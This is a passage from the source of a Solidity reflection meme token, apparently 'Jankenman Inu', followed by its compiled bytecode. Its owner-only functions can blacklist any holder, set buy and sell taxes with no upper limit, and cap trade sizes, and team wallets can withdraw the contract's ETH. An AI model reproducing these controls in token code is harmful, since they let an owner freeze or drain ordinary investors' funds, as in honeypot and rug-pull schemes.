swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610648578063dd62ed3e14610673578063ea1644d5146106b0578063f2fde38b146106d9576101d7565b8063a9059cbb1461058e578063bfd79284146105cb578063c3c8cd8014610608578063c492f0461461061f576101d7565b80638f9a55c0116100d15780638f9a55c0146104e657806395d89b411461051157806398a5c3151461053c578063a2a957bb14610565576101d7565b80637d1db4a5146104675780638da5cb5b146104925780638f70ccf7146104bd576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190613048565b610702565b005b34801561021157600080fd5b5061021a61082c565b60405161022791906134a5565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612fa8565b610869565b604051610264919061346f565b60405180910390f35b34801561027957600080fd5b50610282610887565b60405161028f919061348a565b60405180910390f35b3480156102a457600080fd5b506102ad6108ad565b6040516102ba9190613687565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612f55565b6108be565b6040516102f7919061346f565b60405180910390f35b34801561030c57600080fd5b50610315610997565b6040516103229190613687565b60405180910390f35b34801561033757600080fd5b5061034061099d565b60405161034d91906136fc565b60405180910390f35b34801561036257600080fd5b5061036b6109a6565b6040516103789190613454565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190612ebb565b6109cc565b005b3480156103b657600080fd5b506103d160048036038101906103cc9190613091565b610abc565b005b3480156103df57600080fd5b506103e8610b6d565b005b3480156103f657600080fd5b50610411600480360381019061040c9190612ebb565b610c3e565b60405161041e9190613687565b60405180910390f35b34801561043357600080fd5b5061043c610c8f565b005b34801561044a57600080fd5b50610465600480360381019061046091906130be565b610de2565b005b34801561047357600080fd5b5061047c610e81565b6040516104899190613687565b60405180910390f35b34801561049e57600080fd5b506104a7610e87565b6040516104b49190613454565b60405180910390f35b3480156104c957600080fd5b506104e460048036038101906104df9190613091565b610eb0565b005b3480156104f257600080fd5b506104fb610f69565b6040516105089190613687565b60405180910390f35b34801561051d57600080fd5b50610526610f6f565b60405161053391906134a5565b60405180910390f35b34801561054857600080fd5b50610563600480360381019061055e91906130be565b610fac565b005b34801561057157600080fd5b5061058c600480360381019061058791906130eb565b61104b565b005b34801561059a57600080fd5b506105b560048036038101906105b09190612fa8565b611102565b6040516105c2919061346f565b60405180910390f35b3480156105d757600080fd5b506105f260048036038101906105ed9190612ebb565b611120565b6040516105ff919061346f565b60405180910390f35b34801561061457600080fd5b5061061d611140565b005b34801561062b57600080fd5b5061064660048036038101906106419190612fe8565b611219565b005b34801561065457600080fd5b5061065d611353565b60405161066a9190613687565b60405180910390f35b34801561067f57600080fd5b5061069a60048036038101906106959190612f15565b611359565b6040516106a79190613687565b60405180910390f35b3480156106bc57600080fd5b506106d760048036038101906106d291906130be565b6113e0565b005b3480156106e557600080fd5b5061070060048036038101906106fb9190612ebb565b61147f565b005b61070a611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610797576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078e906135e7565b60405180910390fd5b60005b8151811015610828576001601160008484815181106107bc576107bb613a7a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610820906139d3565b91505061079a565b5050565b60606040518060400160405280600d81526020017f4a616e6b656e6d616e20496e7500000000000000000000000000000000000000815250905090565b600061087d610876611641565b8484611649565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000683635c9adc5dea00000905090565b60006108cb848484611814565b61098c846108d7611641565b61098785604051806060016040528060288152602001613f2860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061093d611641565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121f49092919063ffffffff16565b611649565b600190509392505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109d4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a58906135e7565b60405180910390fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ac4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b48906135e7565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bae611641565b73ffffffffffffffffffffffffffffffffffffffff161480610c245750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c0c611641565b73ffffffffffffffffffffffffffffffffffffffff16145b610c2d57600080fd5b6000479050610c3b81612258565b50565b6000610c88600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612353565b9050919050565b610c97611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1b906135e7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dea611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6e906135e7565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610eb8611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3c906135e7565b60405180910390fd5b80601660146101000a81548160ff0219169083151502179055504360088190555050565b60185481565b60606040518060400160405280600981526020017f4a616e6b656e6d616e0000000000000000000000000000000000000000000000815250905090565b610fb4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611041576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611038906135e7565b60405180910390fd5b8060198190555050565b611053611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d7906135e7565b60405180910390fd5b8360098190555082600b8190555081600a8190555080600c8190555050505050565b600061111661110f611641565b8484611814565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611181611641565b73ffffffffffffffffffffffffffffffffffffffff1614806111f75750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111df611641565b73ffffffffffffffffffffffffffffffffffffffff16145b61120057600080fd5b600061120b30610c3e565b9050611216816123c1565b50565b611221611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a5906135e7565b60405180910390fd5b60005b8383905081101561134d5781600560008686858181106112d4576112d3613a7a565b5b90506020020160208101906112e99190612ebb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611345906139d3565b9150506112b1565b50505050565b60085481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113e8611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611475576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146c906135e7565b60405180910390fd5b8060188190555050565b611487611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611514576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150b906135e7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611584576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157b90613547565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b090613667565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611729576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172090613567565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118079190613687565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611884576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187b90613627565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118eb906134c7565b60405180910390fd5b60008111611937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192e90613607565b60405180910390fd5b61193f610e87565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119ad575061197d610e87565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ef357601660149054906101000a900460ff16611a3c576119ce610e87565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a32906134e7565b60405180910390fd5b5b601754811115611a81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7890613527565b60405180910390fd5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b255750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5b90613587565b60405180910390fd5b6001600854611b7391906137bd565b4311158015611bcf5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611c295750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611c6157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611cbf576001601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611d6c5760185481611d2184610c3e565b611d2b91906137bd565b10611d6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6290613647565b60405180910390fd5b5b6000611d7730610c3e565b9050600060195482101590506017548210611d925760175491505b808015611dac5750601660159054906101000a900460ff16155b8015611e065750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611e1c575060168054906101000a900460ff165b8015611e725750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ec85750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611ef057611ed6826123c1565b60004790506000811115611eee57611eed47612258565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611f9a5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061204d5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561204c5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561205b57600090506121e2565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156121065750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561211e57600954600d81905550600a54600e819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121c95750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156121e157600b54600d81905550600c54600e819055505b5b6121ee84848484612649565b50505050565b600083831115829061223c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223391906134a5565b60405180910390fd5b506000838561224b919061389e565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6122a860028461267690919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156122d3573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61232460028461267690919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561234f573d6000803e3d6000fd5b5050565b600060065482111561239a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161239190613507565b60405180910390fd5b60006123a46126c0565b90506123b9818461267690919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156123f9576123f8613aa9565b5b6040519080825280602002602001820160405280156124275781602001602082028036833780820191505090505b509050308160008151811061243f5761243e613a7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156124e157600080fd5b505afa1580156124f5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125199190612ee8565b8160018151811061252d5761252c613a7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061259430601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611649565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016125f89594939291906136a2565b600060405180830381600087803b15801561261257600080fd5b505af1158015612626573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b80612657576126566126eb565b5b61266284848461272e565b806126705761266f6128f9565b5b50505050565b60006126b883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061290d565b905092915050565b60008060006126cd612970565b915091506126e4818361267690919063ffffffff16565b9250505090565b6000600d541480156126ff57506000600e54145b156127095761272c565b600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b600080600080600080612740876129d2565b95509550955095509550955061279e86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a3a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061287f81612ae2565b6128898483612b9f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128e69190613687565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b60008083118290612954576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161294b91906134a5565b60405180910390fd5b50600083856129639190613813565b9050809150509392505050565b600080600060065490506000683635c9adc5dea0000090506129a6683635c9adc5dea0000060065461267690919063ffffffff16565b8210156129c557600654683635c9adc5dea000009350935050506129ce565b81819350935050505b9091565b60008060008060008060008060006129ef8a600d54600e54612bd9565b92509250925060006129ff6126c0565b90506000806000612a128e878787612c6f565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612a7c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506121f4565b905092915050565b6000808284612a9391906137bd565b905083811015612ad8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612acf906135a7565b60405180910390fd5b8091505092915050565b6000612aec6126c0565b90506000612b038284612cf890919063ffffffff16565b9050612b5781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612bb482600654612a3a90919063ffffffff16565b600681905550612bcf81600754612a8490919063ffffffff16565b6007819055505050565b600080600080612c056064612bf7888a612cf890919063ffffffff16565b61267690919063ffffffff16565b90506000612c2f6064612c21888b612cf890919063ffffffff16565b61267690919063ffffffff16565b90506000612c5882612c4a858c612a3a90919063ffffffff16565b612a3a90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612c888589612cf890919063ffffffff16565b90506000612c9f8689612cf890919063ffffffff16565b90506000612cb68789612cf890919063ffffffff16565b90506000612cdf82612cd18587612a3a90919063ffffffff16565b612a3a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612d0b5760009050612d6d565b60008284612d199190613844565b9050828482612d289190613813565b14612d68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d5f906135c7565b60405180910390fd5b809150505b92915050565b6000612d86612d818461373c565b613717565b90508083825260208201905082856020860282011115612da957612da8613ae2565b5b60005b85811015612dd95781612dbf8882612de3565b845260208401935060208301925050600181019050612dac565b5050509392505050565b600081359050612df281613ee2565b92915050565b600081519050612e0781613ee2565b92915050565b60008083601f840112612e2357612e22613add565b5b8235905067ffffffffffffffff811115612e4057612e3f613ad8565b5b602083019150836020820283011115612e5c57612e5b613ae2565b5b9250929050565b600082601f830112612e7857612e77613add565b5b8135612e88848260208601612d73565b91505092915050565b600081359050612ea081613ef9565b92915050565b600081359050612eb581613f10565b92915050565b600060208284031215612ed157612ed0613aec565b5b6000612edf84828501612de3565b91505092915050565b600060208284031215612efe57612efd613aec565b5b6000612f0c84828501612df8565b91505092915050565b60008060408385031215612f2c57612f2b613aec565b5b6000612f3a85828601612de3565b9250506020612f4b85828601612de3565b9150509250929050565b600080600060608486031215612f6e57612f6d613aec565b5b6000612f7c86828701612de3565b9350506020612f8d86828701612de3565b9250506040612f9e86828701612ea6565b9150509250925092565b60008060408385031215612fbf57612fbe613aec565b5b6000612fcd85828601612de3565b9250506020612fde85828601612ea6565b9150509250929050565b60008060006040848603121561300157613000613aec565b5b600084013567ffffffffffffffff81111561301f5761301e613ae7565b5b61302b86828701612e0d565b9350935050602061303e86828701612e91565b9150509250925092565b60006020828403121561305e5761305d613aec565b5b600082013567ffffffffffffffff81111561307c5761307b613ae7565b5b61308884828501612e63565b91505092915050565b6000602082840312156130a7576130a6613aec565b5b60006130b584828501612e91565b91505092915050565b6000602082840312156130d4576130d3613aec565b5b60006130e284828501612ea6565b91505092915050565b6000806000806080858703121561310557613104613aec565b5b600061311387828801612ea6565b945050602061312487828801612ea6565b935050604061313587828801612ea6565b925050606061314687828801612ea6565b91505092959194509250565b600061315e838361316a565b60208301905092915050565b613173816138d2565b82525050565b613182816138d2565b82525050565b600061319382613778565b61319d818561379b565b93506131a883613768565b8060005b838110156131d95781516131c08882613152565b97506131cb8361378e565b9250506001810190506131ac565b5085935050505092915050565b6131ef816138e4565b82525050565b6131fe81613927565b82525050565b61320d81613939565b82525050565b600061321e82613783565b61322881856137ac565b935061323881856020860161396f565b61324181613af1565b840191505092915050565b60006132596023836137ac565b915061326482613b02565b604082019050919050565b600061327c603f836137ac565b915061328782613b51565b604082019050919050565b600061329f602a836137ac565b91506132aa82613ba0565b604082019050919050565b60006132c2601c836137ac565b91506132cd82613bef565b602082019050919050565b60006132e56026836137ac565b91506132f082613c18565b604082019050919050565b60006133086022836137ac565b915061331382613c67565b604082019050919050565b600061332b6023836137ac565b915061333682613cb6565b604082019050919050565b600061334e601b836137ac565b915061335982613d05565b602082019050919050565b60006133716021836137ac565b915061337c82613d2e565b604082019050919050565b60006133946020836137ac565b915061339f82613d7d565b602082019050919050565b60006133b76029836137ac565b91506133c282613da6565b604082019050919050565b60006133da6025836137ac565b91506133e582613df5565b604082019050919050565b60006133fd6023836137ac565b915061340882613e44565b604082019050919050565b60006134206024836137ac565b915061342b82613e93565b604082019050919050565b61343f81613910565b82525050565b61344e8161391a565b82525050565b60006020820190506134696000830184613179565b92915050565b600060208201905061348460008301846131e6565b92915050565b600060208201905061349f60008301846131f5565b92915050565b600060208201905081810360008301526134bf8184613213565b905092915050565b600060208201905081810360008301526134e08161324c565b9050919050565b600060208201905081810360008301526135008161326f565b9050919050565b6000602082019050818103600083015261352081613292565b9050919050565b60006020820190508181036000830152613540816132b5565b9050919050565b60006020820190508181036000830152613560816132d8565b9050919050565b60006020820190508181036000830152613580816132fb565b9050919050565b600060208201905081810360008301526135a08161331e565b9050919050565b600060208201905081810360008301526135c081613341565b9050919050565b600060208201905081810360008301526135e081613364565b9050919050565b6000602082019050818103600083015261360081613387565b9050919050565b60006020820190508181036000830152613620816133aa565b9050919050565b60006020820190508181036000830152613640816133cd565b9050919050565b60006020820190508181036000830152613660816133f0565b9050919050565b6000602082019050818103600083015261368081613413565b9050919050565b600060208201905061369c6000830184613436565b92915050565b600060a0820190506136b76000830188613436565b6136c46020830187613204565b81810360408301526136d68186613188565b90506136e56060830185613179565b6136f26080830184613436565b9695505050505050565b60006020820190506137116000830184613445565b92915050565b6000613721613732565b905061372d82826139a2565b919050565b6000604051905090565b600067ffffffffffffffff82111561375757613756613aa9565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006137c882613910565b91506137d383613910565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561380857613807613a1c565b5b828201905092915050565b600061381e82613910565b915061382983613910565b92508261383957613838613a4b565b5b828204905092915050565b600061384f82613910565b915061385a83613910565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561389357613892613a1c565b5b828202905092915050565b60006138a982613910565b91506138b483613910565b9250828210156138c7576138c6613a1c565b5b828203905092915050565b60006138dd826138f0565b9050919050565b600081